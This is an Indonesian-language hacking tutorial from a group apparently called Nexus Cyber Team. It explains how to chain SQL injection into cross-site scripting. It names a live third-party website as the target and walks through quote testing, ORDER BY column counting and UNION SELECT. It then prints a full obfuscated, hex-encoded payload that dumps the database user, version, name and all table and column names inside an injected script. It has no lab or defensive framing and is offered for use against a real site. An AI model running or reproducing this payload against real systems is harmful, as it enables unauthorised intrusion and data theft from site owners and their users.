TUTORIAL SQL TO XSS

 Assalamualaikum

Balik lagi sama gua Noub93 kali ini gua bakal kasih tutorial SQL TO XSS

Bahan²

-chall

-payload = CoNcAt/**/(0x3c7363726970743e70726f6d70742822,0x4e6f756239332047616e73,0x7c7c,user/**/(),0x7c7c,version(),0x7c7c,database/**8**/(),0x7c7c,(select(@x)/*!50000From*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000Information_schema.columns*/)/*!50000Where*/(table_schema=database/*data*//**8**/())and(0x00)in(@x:=/*!50000coNcat*/(@x,0x7c7c,/*!50000table_name*/,0x3a3a,/*!50000column_name*/))))x),0x222c646f63756d656e742e646f6d61696e293c2f7363726970743e)

Live Target : 

https://www.epilepsymichigan.org/page.php?id=365

Oke seperti biasa kita cek vuln atau tidak dengan cara tambahin '

Nah kaya gitu ,vuln oke lanjut....

Nah error ya oke lanjut ke order by

order by 1--+-

order by 2--+-

order by 3--+-

Sampe nemu yang error

Nah gua nemu yang error di angka 11 

Langsung kita union select..... Biar nemu angka togel:v

Caranya : https://www.epilepsymichigan.org/page.php?id=-365%27+union+select+1,2,3,4,5,6,7,8,9,10--+-

Jangan lupa tambahin - sesudah param / id=

Biar nemu angka togel:v

Nah angka togel nya ketemu, kita masukin payload ke angka togel nya 

Contoh : https://www.epilepsymichigan.org/page.php?id=-365%27+union+select+1,CoNcAt/**/(0x3c7363726970743e70726f6d70742822,0x4e6f756239332047616e73,0x7c7c,user/**/(),0x7c7c,version(),0x7c7c,database/**8**/(),0x7c7c,(select(@x)/*!50000From*/(/*!50000select*/(@x:=0x00),(select(0)/*!From*/(/*!50000Information_schema.columns*/)/*!50000Where*/(table_schema=database/*data*//**8**/())and(0x00)in(@x:=/*!50000coNcat*/(@x,0x7c7c,/*!50000table_name*/,0x3a3a,/*!50000column_name*/))))x),0x222c646f63756d656e742e646f6d61696e293c2f7363726970743e),3,4,5,6,7,8,9,10--+-

Nah seperti itu ....

Hasilnya :

Oke cukup sekian Terimakasih Bila ada kesalahan maaf:)

Wassalamu'alaikum

#Nexus Cyber Team